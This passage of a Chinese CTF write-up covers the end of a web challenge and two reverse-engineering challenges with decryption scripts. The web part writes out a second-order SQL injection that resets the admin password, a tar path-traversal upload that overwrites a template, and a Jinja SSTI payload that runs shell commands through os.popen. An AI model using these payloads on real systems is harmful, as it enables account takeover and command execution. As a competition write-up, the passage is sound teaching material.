forged_hash c019a219325260d470a64a4ed460a1e0
forged_password_hex 70617373313233800000000000000000000000000000000000000000000000000000000000000000b8000000000000003a3a61646d696e3a3a

二次注入改 admin 为伪造哈希:

UPDATE users SET password =&nbsp;'c019a219325260d470a64a4ed460a1e0'&nbsp;WHERE username =&nbsp;'admin';

/admin/restore 调用了 tarfile.extractall,存在 tar 路径穿越

此处覆盖模板文件,利用 Jinja SSTI 读 flag

上传 tar,成员是 ../templates/register.html

内容:{{ cycler.init.globals.os.popen(‘cat /flag /flag.txt /app/flag /app/flag.txt 2>/dev/null’).read() }}

回显:

template_restore_status 200 {"status":"恢复成功"}
template_path /register status 200
DASCTF{50240278997754487930797985085708}

Re

眼见为虚_1

程序是 32 位 PE,MinGW C++ 编出来的控制台程序。直接跑会提示:

Please input the flag and I will verify it:

输错就是 Wrong flag,输对就是 Right flag。

先看字符串,能直接看到提示和结果,没有看到明文 flag,也没看到特别像壳的东西。

主逻辑在 401522,流程很短:

  1. 构造一个栈上的对象
  2. 打印 Please input the flag and I will verify it:
  3. 读入输入
  4. 调两个虚函数处理输入
  5. 调 402b68 做最终比较

402b68 这一段最关键,里面塞了一串 0x28 字节的常量,然后逐字节和对象里的缓冲区比:

402b71: c7 45 d2 33 56 e8 01 402b78: c7 45 d6 6f 84 e4 a3 … 402bee: 83 7d fc 27 cmp DWORD PTR [ebp-0x4],0x27

也就是说真实目标就是把输入经过前面的变换以后,变成这 40 字节。

虚函数这块

一开始我先盯到了 402c64 和 402d4c,因为这两个函数一个像 TEA,一个像逐字节 +0x16,看起来很像正路。但顺着 4014f0 往下看以后发现这里走的是虚表,不是直接调这两个函数。

对象构造完以后,派生类 vtable 在 40436c,前两个虚函数实际是:

  • 402a18
  • 402afc

这两个才是校验链路上真正会跑到的函数。

402a18

这个函数拿对象里的两段常量做 32 轮运算:

  • 初值:0x18274a3a, 0x24f8d42f
  • key:0x9c8793bf, 0xbb5c1044, 0x2fea4f74, 0xa142ed8b
  • delta:0xdeadbeef

结构上就是 TEA 魔改,跑完以后把结果写回对象的 +8 和 +c,也就是得到 8 字节状态。

402afc

这个函数按 40 个字节循环处理输入:

buf[i] ^= state[i % 8] + 0x1b;

处理完再去 402b68 和那 40 字节常量比较。

所以反推就很直接了:

input[i] = const[i] ^ ((state[i % 8] + 0x1b) & 0xff)

把 402a18 的 32 轮运算用脚本照着抄一遍,拿到 8 字节状态,再和 402b68 的 40 字节常量按字节异或回去。

关键脚本:

import struct

def u32(x):
return&nbsp;x & 0xffffffff

v0 = 0x18274a3a
v1 = 0x24f8d42f
k = [0x9c8793bf, 0xbb5c1044, 0x2fea4f74, 0xa142ed8b]
sumv = 0

for&nbsp;_&nbsp;in&nbsp;range(32):
v0 = u32(v0 + (((v1 << 4) + k[0]) ^ (v1 + sumv) ^ ((v1 >> 5) + k[1])))
sumv = u32(sumv + 0xdeadbeef)
v1 = u32(v1 - (((v0 << 4) + k[2]) ^ (v0 + sumv) ^ ((v0 >> 5) + k[3])))

state = struct.pack("<II", v0, v1)

const = bytes.fromhex(
"33 56 e8 01 6f 84 e4 a3 43 73 8e 26 5e f0 fd a1 "
"15 75 88 20 08 a4 a6 a5 15 75 88 23 5d f0 fa f0 "
"41 71 de 75 09 a1 f9 e8"
)

flag = bytes(c ^ ((state[i % 8] + 0x1b) & 0xff)&nbsp;for&nbsp;i, c&nbsp;in&nbsp;enumerate(const))
print(flag.decode())

脚本输出:

DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}

eazy_code-new

前面那坨符号变量看着很烦,先切一小段出来单独执行,能把基础变量还原出来:

${-``}=iex
${$%}=[CHar]
${]}=0
${!;*}=1
${*@ }=2
${=$``}=3
${ ]}=4
${!}=5
${#.}=6
${(}=7
${)``}=8
${``*%}=9

到这里基本就明白了,外层没什么花活,就是拿 [char]xx 一点点拼字符串,最后再 iex。

顺着第一段 [char]… 还原,能解出一段 Python。里面是个改过常量的 XXTEA / Block TEA 校验器,关键数据就这组:

ans=[1374278842, 2136006540, 4191056815, 3248881376]

我没去手抠,直接写了个逆过程把它倒回来。跑出来是:

yOUar3g0oD@tPw5H

这串我又正着加密回去核了一遍,和 ans 能一模一样对上,不是蒙出来的。

利用点 / 还原思路

这题能交的值其实就是前半段校验逻辑逆出来的明文,后半段那句 PWSH 当提示看看就行,别真跟着它跑。

脚本 / 核心代码

实际用的逆脚本:

from ctypes import c_uint32

def decrypt(v, key, delta=0x87654321):
n = len(v)
rounds = 6 + 52 // n
total = c_uint32((rounds * delta) & 0xffffffff)
y = c_uint32(v[0])
while&nbsp;rounds > 0:
e = c_uint32((total.value >> 2) & 3)
for&nbsp;p&nbsp;in&nbsp;range(n - 1, 0, -1):
z = c_uint32(v[p - 1])
temp1 = (z.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ z.value << 5)
temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)
mx = c_uint32(temp1 ^ temp2)
v[p] = c_uint32(v[p] - mx.value).value
y = c_uint32(v[p])
z = c_uint32(v[n - 1])
temp1 = (z.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ z.value << 5)
temp2 = (total.value ^ y.value) + (key[(0 & 3) ^ e.value] ^ z.value)
mx = c_uint32(temp1 ^ temp2)
v[0] = c_uint32(v[0] - mx.value).value
y = c_uint32(v[0])
total = c_uint32(total.value - delta)
rounds -= 1
return&nbsp;v

ans = [1374278842, 2136006540, 4191056815, 3248881376]
key = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]

out = decrypt(ans[:], key)
plain = b''.join(x.to_bytes(4,&nbsp;'little')&nbsp;for&nbsp;x&nbsp;in&nbsp;out)
print(plain)

输出:

b'yOUar3g0oD@tPw5H'

最终得到flag:

yOUar3g0oD@tPw5H

欢迎

我们欢迎各位安全圈的师傅们积极交流技术、互相学习,在探讨中共同进步!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:云晞科技Sec 江思澄 江思澄《YunSee 2025楚慧杯WP》

    CTFSHOW-PWN(66-71) 网络安全文章

    CTFSHOW-PWN(66-71)

    文章总结: 该文档详细解析了CTFSHOW平台PWN题目入门66至71的解题过程。内容涵盖64位shellcode绕过字符检查、32位与64位环境下的栈溢出利用
    评论:0   参与:  0